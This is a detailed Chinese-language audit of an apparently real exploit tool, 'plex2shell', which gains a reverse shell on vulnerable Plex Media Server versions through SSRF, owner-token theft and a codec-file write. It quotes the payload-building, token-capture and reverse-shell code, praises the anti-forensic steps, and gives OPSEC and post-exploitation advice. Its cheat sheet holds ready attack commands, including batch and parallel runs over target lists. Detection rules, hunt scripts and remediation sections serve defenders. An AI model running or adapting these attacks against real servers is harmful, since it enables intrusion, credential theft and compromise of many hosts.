1    time.sleep(0.08) +``` +- 异常通过 res["e"] + 回传，进度条变红后再 raise +。这是"**UI 与业务解耦** +"的干净写法。 + +- STAGES + 定义了 6 个阶段的百分比上限（12/40/52/72/88/99），让用户感知"卡在哪一步"。 + +**妙处** +：main() + 里用 with redirect_stdout(log): + 把阶段内的 print + 全部重定向到临时日志，而 out() + 仍写 /dev/tty +。这样终端只看到进度条，细节进日志，失败时提示日志路径（plex2shell.py:759-760 +）。 +#### 6.2.2 平台抽象（L115-141） +``` +PLATFORMS = {    "linux-native": {... "appsupport": "/var/lib/plexmediaserver/...", "codec_suffix": "linux-x86_64", "ext": "so", ...},    "linux-docker": {... "appsupport": "/config/Library/...", ...},    "windows": {... "appsupport": None, "codec_suffix": "windows-x86_64", "ext": "dll", ...},} +``` +- 用字典把"路径/后缀/转码器路径"参数化，主流程只拿 plat["os"] + 分支。 + +- Windows 的 appsupport + 是 None +，运行时从 /:/prefs + 的 LocalAppDataPath + 动态解析（L699-707），并去掉盘符（lap[2:] +）后拼 /Plex Media Server +。 + +- **局限** +：只覆盖 Linux 原生/Docker/Windows，没有 macOS、NAS（Synology/QNAP）的路径；这些平台需要手工改字典或走 --token + + 手工路径。 + +#### 6.2.3 Payload 构建（L144-187） +``` +def build_payload_linux(workdir, inner_cmd):    cc = shutil.which("gcc")    ...    subprocess.check_call([cc, "-shared", "-fPIC", "-nostdlib", "-O2", "-o", so, src], ...)    data = open(so, "rb").read()    if data[:4] != b"\x7fELF":        raise RuntimeError("payload is not an ELF")    return so, data +``` +- 用 shutil.which + 预检编译器；缺工具时给出可操作的错误（need 'gcc' ... +）。 + +- 编译后检查 magic（\x7fELF + / MZ +），避免"编译失败但产出了空文件"。 + +- Windows 用 x86_64-w64-mingw32-gcc -shared -lws2_32 -lkernel32 -Wl,--subsystem,windows +。 + +**注意** +：Linux payload 依赖 -nostdlib + 下 GCC 仍把 constructor + 放进 .init_array +。这在 GCC/Clang 上成立，但如果换成交叉编译器或特殊链接脚本，需要复核。 +#### 6.2.4 载体构建与比特级自校验（L190-220） + +这是整个工具最漂亮的工程点之一： +``` +y = payload_bytes + b"\x80" * (ysz - len(payload_bytes))uv = b"\x80" * (ysz // 2)frame = y + uvopen(raw, "wb").write(frame * 3)subprocess.check_call([    "ffmpeg", ..., "-c:v", "libx264", "-qp", "0", "-pix_fmt", "yuv420p", "-g", "1", ...])...subprocess.check_call(["ffmpeg", ..., "-i", carrier, "-map", "0:v:0",                       "-pix_fmt", "yuv420p", "-f", "rawvideo", dec, ...])d = open(dec, "rb").read()if d[:len(payload_bytes)] != payload_bytes:    raise RuntimeError("carrier is NOT bit-exact (encoder altered the plane); adjust geometry") +``` + +逐点： +1. **payload 大小检查** +：len(payload_bytes) > ysz + 直接报错，避免截断。 + +1. **三帧相同** +：frame * 3 +。多帧是为了让检测规则 Plex2Shell_Dropped_Codec_Repeated_Frame + 有"重复帧"特征，也提高转码器实际处理到 payload 帧的概率。 + +1. **qp=0 + -g 1** +：无损 + 全 I 帧，保证解码可逆。 + +1. **回读校验** +：编码后再解码，和原始字节比对。**在攻击前先证明"载体是比特精确的"** +，失败就中止并提示调 --geometry +。 + +**审计评价** +：这是"利用工具里的单元测试"——把"载体是否可靠"从"打过去试试"变成"本地可判定"。绝大多数 PoC 不会做这一步。 +#### 6.2.5 攻击者侧 HTTP 服务（L228-350） + +**媒体服务 Listener** +（L291-305）+ make_handler +（L240-288）： +- /item.xml +：返回 ITEM_XML +，其中  +。 + +- /carrier.mp4 +：返回载体；**支持 Range 请求** +（206 Partial Content + + Content-Range +），因为 ffmpeg/PMS 可能分段拉取。 + +- /cb +：记录回调（CALLBACKS.append +），当前主流程未使用。 + +- log_message + 被覆盖为空，减少噪声。 + +``` +if rng:    m = re.match(r"bytes=(\d+)-(\d*)", rng)    ...    self.send_response(206)    self.send_header("Content-Range", "bytes %d-%d/%d" % (start, end, len(data))) +``` + +**Token 捕获器 TokenCatcher** +（L311-350）： +- 独立端口（8952），GET/POST + 都处理； + +- 从 X-Plex-Token + 头取 token； + +- 用 _TOKEN_RE + 校验 local- + 前缀； + +- 用 threading.Event + 通知主线程； + +- 打印命中日志（[listener] GET /... X-Plex-Token=... +）。 + +**评价** +：三个服务（8952 token、8933 媒体、9001 反弹）职责清晰，但端口**硬编码** +（L643），没有 CLI 覆盖，多目标并发时需要额外隔离（见 Cheat Sheet）。 +#### 6.2.6 Plex HTTP 辅助（L353-412） +``` +def hget(base, path, params, token, timeout=25, method="GET"):    qs = urllib.parse.urlencode(params, quote_via=urllib.parse.quote)    url = "%s%s?%s" % (base, path, qs)    req = urllib.request.Request(url, method=method)    if token:        req.add_header("X-Plex-Token", token)    ... +``` +- urlencode + 会自动处理 = +、: +、/ +，所以 TranscoderH264Options=dump-yuv=/path:qp=0 + 会被正确编码。 + +- method="GET" + 默认，PUT /:/prefs + 用 method="PUT" +。 + +- 捕获 HTTPError + 返回 (code, body) +，网络异常返回 (-1, str(e)) +，调用方用状态码判断。 + +preq +（L369-376）是"不关心响应体"的版本，用于 SSRF 触发；超时 15s，返回状态码或 ERR:... +。 + +transcode_params +（L391-403）构造了一大串 Plex 客户端标识头/参数（X-Plex-Product +、X-Plex-Platform +、X-Plex-Device + 等），目的是让转码请求看起来像正常客户端。 + +run_transcode +（L406-412）连打三个端点： +``` +/video/:/transcode/universal/decision/video/:/transcode/universal/start.m3u8/video/:/transcode/universal/session//base/index.m3u8 +``` + +这是为了确保转码任务真正启动（decision + 做决策，start + 启动，session + 拉流）。 +#### 6.2.7 交互式 PTY 桥（L487-614） +``` +old = termios.tcgetattr(0)try:    tty.setraw(0)    conn.setblocking(False)    whileTrue:        r, _, _ = select.select([0, conn], [], [])        if0in r:            d = os.read(0, 4096)            ifnot d orb"\x1d"in d:   # Ctrl-]                break            conn.sendall(d)        if conn in r:            d = conn.recv(4096)            os.write(1, d)finally:    termios.tcsetattr(0, termios.TCSADRAIN, old) +``` +- tty.setraw(0) +：本地终端进 raw 模式，按键原样转发（支持方向键、Ctrl-C 等）。 + +- select + 同时监听 stdin 和 socket。 + +- Ctrl-] +（0x1d +）作为 detach 键（和 telnet 一致）。 + +- finally + 恢复终端属性，避免把用户终端搞坏。 + +**细节** +：连接后先发 +``` +setup = ("rm -f '%s' 2>/dev/null; cd /; stty rows %d cols %d 2>/dev/null; "         "export TERM=xterm-256color; PS1='plex@plex:\\w\\$ '\n" % (so_path, rows, cols)) +``` +- rm -f +：**加载后删除落盘的 .so** +。Linux 允许删除已被 mmap + 的文件，进程继续运行，但磁盘上不留文件——反取证。 + +- stty rows/cols +：同步窗口大小。 + +- PS1='plex@plex:\w\$ ' +：伪装提示符。 + +- export TERM=xterm-256color +：让交互程序正常渲染。 + +run_exec +（L578-614）是单命令模式：stty -echo + → rm -f so_path + → 执行命令 → echo __END__$? + 作为结束哨兵。 + +**Windows 交互** +（L459-521）：READY + 握手 + __CMDEND__ + 哨兵，逐行 input() +。 +#### 6.2.8 主流程编排（L618-782） +``` +ap.add_argument("--target", required=True, ...)ap.add_argument("--attacker-ip", required=True, ...)ap.add_argument("--target-os", choices=list(PLATFORMS.keys()), default="linux-native", ...)ap.add_argument("--token", default=None, ...)ap.add_argument("--exec", dest="exec_cmd", default=None, ...) +``` + +只有 5 个业务参数。--token + 允许跳过 SSRF 链，--exec + 允许单命令。 + +主流程： +1. 校验 host:port +； + +1. resolve_platform +； + +1. 预检 ffmpeg + + 编译器； + +1. 起反弹监听（9001）； + +1. Step(0) + 探活 /identity +； + +1. Step(1) + 偷 token（或 --token + 跳过）； + +1. Step(2)GET /:/prefs + 验证 owner 权限； + +1. discover_setid +； + +1. Step(3) + 构建 payload + carrier； + +1. Step(4) + 起媒体服务，PUT + 偏好，触发第一次转码，等 10s，清偏好； + +1. Step(5) + 第二次转码，等反弹连接（45s）； + +1. 交互 shell 或 --exec +； + +1. finally + 清偏好、关监听、关日志。 + +**清理逻辑** +（L769-779）： +``` +finally:    try:        if token:            hget(base, "/:/prefs", {"TranscoderH264Options": ""}, token, method="PUT")    except Exception:        pass    try:        lsock.close()    except Exception:        pass    log.close() +``` + +即使中途异常，也会尽量把 TranscoderH264Options + 清空。这是"**最低痕迹** +"意识。 +### 6.3 payload_linux.c 审计 +- 17 行，零 libc，raw syscall。 + +- sc() + 的内联汇编约束正确："=a"(r) + 输出，"a"(n) +/"D"(a) +/"S"(b) +/"d"(c) + 输入，rcx/r11/memory + clobber（syscall + 会破坏 rcx +/r11 +）。 + +- fork + → 子进程 execve +；父进程直接返回，不 wait +。 + +- envp={0} +：空环境。 + +- 缺点：execve + 失败时只 exit(7) +，没有回退；/bin/sh + 路径硬编码（Alpine 等无 /bin/sh + 的环境会失败）。 + +### 6.4 payload_windows.c 审计 +- DllMain + 只做"重生"，避免 loader lock 死锁——正确。 + +- 防递归检查 rundll32 +——正确，但大小写只覆盖两种写法（rundll32 +/Rundll32 +），RUNDLL32 + 会漏（不过 Windows 实际路径通常是 rundll32.exe +）。 + +- RunShell + 用 CALLBACK + + dllexport +，rundll32 + 可按名调用。 + +- runcmd + 的管道/继承处理正确：SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0) + 防止读端被子进程继承。 + +- _snprintf + 不是安全版本，超长命令会截断；cmdline[8192] + 对一般命令够用。 + +- WaitForSingleObject(pi.hProcess, 30000) + 30s 超时，长命令会被截断。 + +- 没有 closesocket + 的错误处理分支，但整体可用。 + +### 6.5 检测包审计 +#### 6.5.1 YARA（detection/yara/plex2shell.yar） + +7 条规则，分三档： + +
规则
档位
抓什么
Plex2Shell_Dropped_Codec_ELF_YUV_Overlay
high
ELF + 大段低熵尾部（dump-yuv 形状）
Plex2Shell_Dropped_Codec_PE_YUV_Overlay
high
PE DLL + 大 overlay
Plex2Shell_Dropped_Codec_PoC_Geometry
high
文件大小是 345600（640×360 yuv420p 帧）的整数倍 + 0x80 尾
Plex2Shell_Dropped_Codec_Repeated_Frame
high
前 4 KiB 在某个偏移重复，且偏移整除文件大小
Plex2Shell_Linux_Payload_NoLibc_Constructor
medium
无 DT_NEEDED + /bin/sh + fork/execve/exit 邻近
Plex2Shell_Linux_Payload_RevShell_Command
medium
默认反弹命令字符串
Plex2Shell_Windows_Payload_DLL
medium
READY
/__CMDEND__/RunShell
Plex2Shell_PMS_Log_Or_Prefs_Artifacts
high
日志/Preferences 里的利用特征
Plex2Shell_Exploit_Tool
medium
工具源码特征
Plex2Shell_Payload_Source_Templates
medium
payload 模板占位符
Plex2Shell_Hunt_Lossless_AllIntra_x264_MP4
hunting
qp=0 + keyint=1 的 MP4
+ +**设计亮点** +： +- **结构规则优于字符串规则** +：即使 payload 重编译、改字符串，*_YUV_Overlay + 仍能命中。 + +- **明确标注置信度与失效条件** +：PoC_Geometry + 依赖默认几何；Repeated_Frame + 不依赖 padding 值；Hunt_* + 明确"不要单独告警"。 + +- **ELF 规则用 elf.type == ET_DYN + 无 DT_NEEDED + 段不覆盖尾部** +，避免误报静态 libc/musl。 + +- **PE 规则用 pe.is_dll() + pe.overlay.size > 65536 + 尾部熵 < 0.5** +，并注释说明"未 strip 的 mingw 构建会在 overlay 开头带符号表，所以只测最后 64 KiB"。 + +**可改进点** +： +- Plex2Shell_Dropped_Codec_PoC_Geometry + 的 filesize % 345600 == 0 + 对"非默认几何"失效，作者自己已注明。 + +- Repeated_Frame + 对"单帧载体"失效，也已注明。 + +- 没有针对"Windows 上 hevc_decoder.dll + 命名 + Codecs 目录"的组合规则（只有 PE 结构规则）。 + +#### 6.5.2 狩猎脚本（detection/hunt/plex2shell-hunt.sh） + +只读，退出码 0/1/2。检查项： +1. **版本** +：dpkg-query +/rpm +/日志里的 Plex Media Server v... +，用 sort -V + 比较，低于 1.43.3.10861 + 告警。 + +1. **Preferences.xml** +：TranscoderH264Options + 是否含 dump-yuv + 或 stats= +；空值也告警（PoC 用空值清理）。 + +1. **日志** +：高置信正则（timeline protocol、searchOne identifier、dump-yuv）、中置信（resources traversal、sslip.io、poc 标识）、非 loopback 转码。 + +1. **Codecs 目录** +：magic 为 ELF/MZ、大小 ≥128 KiB、尾部 64 KiB 单一字节 → HIT；zz[0-9]*.so + → HIT；可选 YARA。 + +1. **活动进程** +： + +1. /proc//maps + 里有 (deleted) + 的 Codecs 文件 → HIT（rm -f + 后仍映射）； + +1. 命令行含 /dev/tcp/ + → HIT； + +1. shell 由 Plex Transcoder +/Plex Media Server +/Plex Script Host + 拉起 → HIT； + +1. 以 plex + 运行且 environ 无 PATH + → HIT（空 envp）； + +1. script -qc /bin/sh /dev/null + → WARN。 + +**设计亮点** +： +- while read -r -d '' + + find -print0 + 处理含空格路径（Plex 路径里就有 Application Support +）。 + +- tail_uniform + 用 od -An -v -tx1 | tr -s ' ' '\n' | sort -u | head -2 | wc -l + 判断"尾部是否单一字节"，纯 shell 实现。 + +- proc_name + 优先 readlink /proc/pid/exe +，回退 comm +，并处理 (deleted) + 后缀。 + +- SHELLS + 正则覆盖常见 shell。 + +- 明确"run as root for complete /proc coverage"。 + +**可改进点** +： +- version_lt + 用 sort -V +，对 1.43.3.10861 + vs 1.43.3.10828 + 正确；但对带后缀的包版本（如 1.43.3.10861-1 +）会先 grep -oE '^[0-9.]+' + 截断，基本可用。 + +- tail_uniform + 只取前两个唯一字节，若尾部恰好两种字节交替会漏；但实际 dump-yuv 是单一填充，够用。 + +- 进程检查依赖 /proc +，容器内需要挂载宿主 /proc + 或进入容器执行。 + +#### 6.5.3 回归测试（detection/tests/run_tests.sh） +- 只构造合成 fixture（给正常 .so +/.dll + 追加 0x80 尾巴），**不编译、不加载 payload** +。 + +- 用 expect + 做"精确规则集合"比对（不是"至少命中一条"）。 + +- 同时测 YARA、hunt 脚本、恶意/良性 fixture。 + +- 这是"**检测规则的单元测试** +"，在安全工具仓库里很少见。 + +### 6.6 代码缺陷与不一致（审计发现） + +以下是静态审计中确认的问题，按影响排序： + +
#
位置
问题
影响
1
plex2shell.py:713
错误信息 pass --setid，但 argparse 没有定义--setid
discover_setid
 失败时，用户按提示加参数会被 argparse 拒绝（unrecognized arguments），无法按提示恢复
2
plex2shell.py:196
错误信息 raise --geometry，但没有定义--geometry
同上；载体重建路径不可用
3
plex2shell.py:620
banner 写 CVSS 10.0，README/commit 已改为 9.8
文档不一致，易误导报告
4
README.md:3
写 < 1.43.3.10828，但 10828 本身也受影响，修复是 10861
版本边界表述不精确，可能导致漏 patch
5
plex2shell.py:643
端口 8952/8933/9001 硬编码，无 CLI 覆盖
端口冲突/多目标并发困难
6
plex2shell.py:642
依赖 sslip.io 外部 DNS
目标无外网 DNS/出站过滤时失败；应支持 nip.io 或自建 DNS
7
plex2shell.py:647
日志落 /tmp/.plexshell_<pid>.log，可预测
本机取证可见；多用户系统可能被读取
8
plex2shell.py:544rm -f '%s'
 单引号包裹，未转义路径中的 '
极端路径下命令注入/失败（Plex 默认路径不含单引号，风险低）
9
plex2shell.py:700-707
Windows LocalAppDataPath 解析用正则，路径含引号/反斜杠时可能截断
非默认安装路径可能失败
10
plex2shell.py:744
第一次转码后固定 sleep(10)
大载体/慢机器可能未写完就进入第二次转码，导致 dlopen 失败
11
plex2shell.py:308_TOKEN_RE
 只匹配 local- 前缀
若 Plex 改了 token 格式，捕获器会漏
12
plex2shell.py:229CALLBACKS
 只写不读
死代码
13
payload_linux.c:16execve
 失败仅 exit(7)
无回退，失败即静默
14
payload_windows.c:83
防递归只匹配 rundll32/Rundll32
RUNDLL32
 全大写会漏（实际影响小）
15
discover_setid:385
正则 [0-9a-f]{7}-[0-9a-f]{24,26} 假设固定格式
不同 Plex 版本 set-id 格式变化会失败
+> 这些缺陷**不影响主链成立** +（在默认路径/默认环境下），但会影响"非默认环境"的可靠性。写报告时应如实标注。 + +### 6.7 设计妙处（"骚操作"清单） +1. **/dev/tty + redirect_stdout 双通道** +：进度条上终端，细节进日志，互不干扰。 + +1. **比特级载体自校验** +：先本地证明"编码→解码 = 原字节"，再打目标。 + +1. **sslip.io 前缀绕过** +：字符串检查看 127.0.0.1 + 前缀，DNS 解析看后半段 IP。 + +1. **# 截断** +：用 fragment 把拼接在后面的 /messaging/ + 丢掉。 + +1. **? 开查询串** +：把 identifier + 变成"路径 + 参数"的完全控制。 + +1. **dump-yuv 当任意写** +：x264 调试选项 → fopen/fwrite +。 + +1. **qp=0 无损** +：保证写入的 .so + 与输入逐字节一致。 + +1. **Codecs 自动 dlopen** +：不签名、不要可执行位、不要符号 → 文件写即 RCE。 + +1. **两次转码** +：第一次写、第二次加载，避免"写了但没触发枚举"。 + +1. **rm -f so_path 后仍运行** +：Linux 删除已映射文件不影响执行，磁盘无残留。 + +1. **hevc_decoder.dll 伪装** +：Windows 落盘名伪装成正常解码器。 + +1. **空 envp** +：payload 更"干净"，但也被检测规则反向利用。 + +1. **script -qc PTY 升级** +：反弹 shell 支持交互程序。 + +1. **setsid 脱离会话** +：减少父进程死亡导致的连带终止。 + +1. **finally 清偏好** +：异常也清理，降低持久化痕迹。 + +1. **set-id 用合法 API 枚举** +：不猜路径。 + +1. **检测包与利用包同仓** +：攻防成对，便于蓝队验证。 + +## 7. 架构设计分析 +### 7.1 分层图 +``` +┌─────────────────────────────────────────────────────────────┐│ CLI 层        argparse（5 参数）+ Step 进度状态机              │├─────────────────────────────────────────────────────────────┤│ 编排层        main()：阶段 0-5，异常/清理                      │├─────────────────────────────────────────────────────────────┤│ 原语层        steal_owner_token / discover_setid /            ││               run_transcode / build_payload / build_carrier   │├─────────────────────────────────────────────────────────────┤│ 传输层        TokenCatcher(8952) / Listener(8933) /           ││               revshell listener(9001) / hget / preq           │├─────────────────────────────────────────────────────────────┤│ 载荷层        payload_linux.c / payload_windows.c             │├─────────────────────────────────────────────────────────────┤│ 目标 API      /player/timeline /system/agents /:/prefs        ││               /video/:/transcode/universal                    │└─────────────────────────────────────────────────────────────┘ +``` +### 7.2 关键设计决策 + +
决策
理由
代价
纯标准库
攻击机零依赖，落地快
无异步/重试框架，靠 threading 手工编排
分阶段可跳过（--token）
已拿到 token 时省掉最吵的 SSRF 阶段
需要额外的 token 获取途径
payload 现场编译
适配目标架构/OS，避免预编译特征
攻击机需要 gcc/mingw
载体现场生成
几何/大小可按目标调整
需要 ffmpeg，耗时
三个独立端口
职责分离，便于调试
端口固定，易冲突
检测包同仓
蓝队可复现/验证规则
仓库体积略大
+### 7.3 状态机 + +STAGES + 是"声明式进度"： +``` +STAGES = [("Connecting to target", 12), ("Capturing owner token", 40),          ("Verifying access", 52), ("Building payload", 72),          ("Delivering payload", 88), ("Opening session", 99)] +``` + +每个 Step(i) + 的 base = STAGES[i-1][1] +，ceil = STAGES[i][1] +，进度条从 base + 缓动到 ceil +。这让"长时间阻塞操作"有可感知的反馈，也让失败点一目了然。 +### 7.4 与同类工具的架构对比 + +
工具
架构
与本工具差异
单文件 exploit.py
线性脚本
本工具有 UI/阶段/清理/跨平台/检测包
Metasploit module
框架内、参数化
本工具独立、无框架依赖、更轻
Cobalt Strike aggressor
后渗透平台
本工具只做初始访问，不含 C2
研究型 PoC（如 Project Zero）
最小复现
本工具偏"产品化"，含蓝队件
+## 8. 落地实网攻防环境 +> **边界** +：以下内容是"授权红队/攻防演练"的作业方法学与防御视角，不构成对任何未授权目标的攻击指引。实网使用必须持有书面授权，并遵守当地法律。 + +### 8.1 前置条件核查（打之前先确认） + +
条件
检查方法
不满足的后果
目标版本 < 1.43.3.10861
curl -s http://T:32400/identity
 看 version
链不成立
32400 可达
nmap -p32400
 / 直接请求
无法触达
攻击机可被目标反向访问
目标能连回 attacker-ip:8952/8933/9001
token/载体/反弹都失败
目标可解析外部 DNS
目标能解析 sslip.io
token 泄露阶段失败
攻击机有 ffmpeg + gcc/mingw
command -v
载荷构建失败
目标 Plex 以可写 Codecs 目录运行
默认安装即是
写入失败
+### 8.2 红队作业面（授权范围内） +1. **外网暴露面测绘** +：Plex 默认 32400，常见于家庭宽带/小型云主机/NAS。用资产测绘确认版本，不要盲目打。 + +1. **优先级** +：能直连 32400 且版本脆弱的资产 > 仅 Web 反代（可能只暴露 443）> 已打补丁。 + +1. **OPSEC** +： + +1. 工具会留下 PUT /:/prefs +（INFO 级，必记）和 SSRF/转码请求（DEBUG 级）；默认日志级别下大部分可见。 + +1. finally + 会清 TranscoderH264Options +，但**不会清日志** +；rm -f so_path + 会删落盘 .so +，但 /proc//maps + 仍可能显示 (deleted) + 映射。 + +1. token 泄露后，目标侧会记录 Signed-in Token (...) +；蓝队可通过"异常 owner token 使用"发现。 + +1. **后渗透** +：uid=1000(plex) + 通常权限有限，但常见高价值： + +1. 挂载的媒体库/NFS/SMB（可能含凭据）； + +1. 同机其他服务配置； + +1. 云元数据（若在云主机）； + +1. Plex 自身的 Preferences.xml +（含 PlexOnlineToken +）。 + +1. **不要做的事** +：不要在未授权资产上跑；不要用默认端口扫全网；不要在目标上留持久化（本工具本身不留）。 + +### 8.3 蓝队检测面（与红队对称） + +
阶段
detectable 信号
SSRF 注册
/player/proxy/poll
 异常客户端；X-Plex-Client-Identifier=poc_*
SSRF 触发
/player/timeline/subscribe
 的 protocol= 含 ://；unsubscribe 后 loopback POST
Loopback 注入
/system/agents/*/searchOne
 的 identifier 含 %2Ffunction%2F；Loopback 来源的异常请求
Token 泄露
出站请求到 *.sslip.io/*.nip.io；X-Plex-Token 出现在非 Plex 域名
任意写
PUT /:/prefs
 的 TranscoderH264Options 含 dump-yuv/stats=
转码 SSRF
path=http(s)://
 非 loopback；item.xml/carrier.mp4 拉取
落盘
Codecs 目录出现 ELF/PE + 大段 0x80 尾；zz*.so/hevc_decoder.dll
执行
Plex Transcoder
 的子进程是 shell；/dev/tcp 命令行；script -qc；plex 用户进程无 PATH
持久化
Preferences.xml
 残留 dump-yuv；Codecs 里残留 .so
+### 8.4 处置建议（Plex 官方 + 检测侧） +1. **升级** +到 1.43.3.10861+ +（Linux/NAS/Docker 需手动升级）。 + +1. **清理 Codecs 目录** +（删除未知 .so +/.dll +）。 + +1. **检查 Preferences.xml** + 的 TranscoderH264Options +，清空异常值。 + +1. **吊销 token** +：Plex 设置里"登出所有设备"，修改 Plex 密码。 + +1. **视为可能失陷** +：若曾公网暴露且版本脆弱，建议干净重装 + 排查挖矿/代理。 + +1. **网络侧** +：不要把 32400 直接暴露公网；用 VPN/反代/防火墙白名单；限制出站 DNS/HTTP。 + +1. **监控** +：对上述信号建规则（YARA + 日志 + 进程 + 网络）。 + +## 9. 检测与防御（可执行） +### 9.1 快速排查命令 +``` +# 1) 版本curl -s http://T:32400/identity | grep -o 'version="[^"]*"'# 2) 偏好是否被改grep -o 'TranscoderH264Options="[^"]*"' \"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Preferences.xml"# 3) Codecs 里的可疑文件（ELF/PE + 大尾巴）find "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs" \  -type f -size +128k -exec sh -c 'head -c4 "$1" | od -An -tx1' _ {} \;# 4) 进程侧ps -eo pid,ppid,user,args | grep -E 'Plex|/dev/tcp|script -qc'ls -l /proc/*/exe 2>/dev/null | grep -i codecs# 5) 日志侧grep -aE 'timeline/subscribe.*protocol=.*(%3a|:)' \"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Logs/"*.loggrep -aE 'searchOne.*identifier=.*(%2f|/)function(%2f|/)' .../Logs/*.loggrep -aE 'TranscoderH264Options.*(dump-yuv|stats=)' .../Logs/*.loggrep -aE '(sslip|nip)\.io' .../Logs/*.log +``` +### 9.2 YARA +``` +yara -r -w detection/yara/plex2shell.yar \  "/var/lib/plexmediaserver/Library/Application Support/Plex Media Server" +``` + +三档使用建议： +- **high** +：可直接告警（结构规则，抗改编译）。 + +- **medium** +：用于 triage，需人工确认。 + +- **hunting** +：只用于排序，不单独告警（lossless all-intra 也可能是正常制作流程）。 + +### 9.3 主机狩猎 +``` +sudo ./detection/hunt/plex2shell-hunt.sh# 指定目录（离线拷贝）./detection/hunt/plex2shell-hunt.sh -P -a "/path/to/Plex Media Server"# 指定规则./detection/hunt/plex2shell-hunt.sh -y detection/yara/plex2shell.yar +``` + +退出码：0 + 干净，1 + 警告，2 + 命中。 +### 9.4 网络侧 +- 出站 DNS 日志里出现 *.sslip.io +、*.nip.io +（尤其是 127.0.0.1.* + 前缀）→ 高危。 + +- Plex 主机出站到非标准端口（8952/8933/9001）→ 可疑。 + +- Plex 主机对自身 32400 的 loopback POST 突然增多 → 可疑。 + +- 转码器拉取外部 item.xml +/carrier.mp4 + → 可疑。 + +### 9.5 修复优先级 + +
优先级
动作
P0
升级到 1.43.3.10861+；清理 Codecs；吊销 token
P1
关闭 32400 公网直连；加 VPN/反代
P2
限制出站 DNS/HTTP；监控 sslip.io
P3
部署 YARA/狩猎脚本；建日志告警
+## 10. Cheat Sheet：把参数当"功能模块" +> 工具的 CLI 只有 5 个业务参数，但每个参数都是一个"能力开关"。下面按"模块组合"给出配方。 注意：-h/--help + 是帮助；-H + 不是本工具的参数（不要混用）。 + +### 10.1 参数语义表 + +
参数
类型
作用
可组合性
--target host:port
必填
目标 PMS
单目标；批量需外层循环
--attacker-ip IP
必填
目标回连地址
必须是目标可达的地址
--target-os {linux-native,linux-docker,windows}
可选，默认 linux-native
决定路径/后缀/编译器
与目标实际部署一致
--token TOKEN
可选
跳过 SSRF，直接用 owner token
与 --target-os 组合
--exec CMD
可选
单命令执行后退出
与 --token 组合最稳
-h/--help
可选
帮助
—
+### 10.2 基础配方 +``` +# R1 标准直连（Linux 原生）python3 plex2shell.py \  --target 10.0.0.5:32400 \  --attacker-ip 203.0.113.9# R2 Docker 部署python3 plex2shell.py \  --target 10.0.0.5:32400 \  --attacker-ip 203.0.113.9 \  --target-os linux-docker# R3 Windows 目标（需要 mingw）python3 plex2shell.py \  --target 10.0.0.5:32400 \  --attacker-ip 203.0.113.9 \  --target-os windows +``` +### 10.3 分阶段配方（先拿 token，再复用） +``` +# R4 只走 SSRF 拿 token（不落 payload）：可用 --exec 跑一个无害命令观察python3 plex2shell.py --target T:32400 --attacker-ip A --exec'id'# R5 已拿到 owner token：跳过最吵的 SSRF 阶段python3 plex2shell.py \  --target T:32400 --attacker-ip A \  --token 'local-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' \  --target-os linux-docker \  --exec'id; uname -a; ls -la /config'# R6 单命令 + 指定 OS + 静默python3 plex2shell.py --target T:32400 --attacker-ip A --target-os windows \  --exec'whoami /all' +``` +### 10.4 批量与脚本化（外层把参数当模块） +``` +# R7 逐目标串行，日志分文件（注意端口是硬编码的，串行最稳）while IFS=: read -r host port; doecho"== $host:$port =="  timeout 300 python3 plex2shell.py \    --target "$host:$port" --attacker-ip "$ATTACKER" \    --target-os linux-docker --exec'id' \    >> "out/${host}_${port}.log" 2>&1done < targets.txt# R8 并行（必须做网络隔离/端口重映射，否则 8952/8933/9001 冲突）# 方案：每个任务一个 network namespace + 端口映射for t in $(cat targets.txt); do  unshare -n -- bash -c "    ip link set lo up    ip addr add 10.99.0.2/24 dev lo 2>/dev/null || true    python3 plex2shell.py --target $t --attacker-ip 10.99.0.2 --exec 'id'  " &donewait +``` +> 说明：工具没有 --token-port/--carrier-port/--lport + 参数（硬编码在 plex2shell.py:643 +）。要并行，必须做命名空间/端口重映射，或改源码。 + +``` +# R9 从 token 文件批量复用（假设已通过其他途径获得 token）while read -r target token; do  python3 plex2shell.py --target "$target" --attacker-ip "$ATTACKER" \    --token "$token" --exec 'id' done < tokens.tsv +``` +``` +# R10 结果结构化：只取命令输出，过滤 UIpython3 plex2shell.py --target T:32400 --attacker-ip A --exec 'id' 2>/dev/null \  | sed -n '/session opened/,$p' | grep -v '^$' +``` +### 10.5 前置/后置模块 +``` +# R11 版本预检（不进利用链）curl -s --max-time 5 "http://$T:32400/identity" | grep -o 'version="[^"]*"'# R12 只验证 owner 权限（需要 token）curl -s -H "X-Plex-Token: $TOKEN" "http://$T:32400/:/prefs" -o /dev/null -w '%{http_code}\n'# R13 检测侧：跑 YARA + 狩猎yara -r -w detection/yara/plex2shell.yar "$PLEX_DIR"sudo detection/hunt/plex2shell-hunt.sh -a "$PLEX_DIR"# R14 清理（防守方）# 升级 + 清 Codecs + 清偏好 + 吊销 token（在 Plex UI 操作） +``` +### 10.6 常见组合陷阱 + +
陷阱
现象
处理
--target
 不带端口
--target must be host:port
补 :32400
--attacker-ip
 用了目标不可达的私网地址
token 捕获超时
用目标能回连的地址
目标无外网 DNS
sslip.io
 解析失败，token 拿不到
改用 --token 跳过；或自建 DNS
端口被占用
Address already in use
串行；或改源码端口
Windows 目标没 mingw
need 'x86_64-w64-mingw32-gcc'apt install gcc-mingw-w64-x86-64
--setid
 报错
argparse 不认识
这是代码缺陷（见 6.6），需改源码
目标版本已修复
prefs returned 401/403
换目标/放弃
+## 11. 冷门但常用的命令语法（本项目语境） +> 这些语法在工具源码/检测脚本里真实出现，或在其作业流程中高频使用；"冷门"指容易被忽略但很实用。 + +### 11.1 Python + +
语法
用途
例子
argparse
 的 dest=
参数名与变量名解耦
--exec
 → args.exec_cmd
shutil.which()
跨平台找可执行文件
shutil.which("gcc")
subprocess.check_call([...])
列表参数避免 shell 注入
编译 payload
redirect_stdout(log)
只重定向 Python 层 stdout
进度条与日志分离
threading.Event
线程间"完成/命中"信号
listener.got.wait(timeout=...)
daemon=True
主线程退出时自动清理
监听线程
socket.settimeout
 / setblocking(False)
非阻塞收包
PTY 桥
select.select([0, conn], [], [])
同时等 stdin 和 socket
交互 shell
termios.tcgetattr/tcsetattr
 + tty.setraw
原始终端模式
交互 shell
fcntl.ioctl(TIOCGWINSZ)
取终端行列
stty rows/cols
struct.unpack("HHHH", ...)
解析 winsize
同上
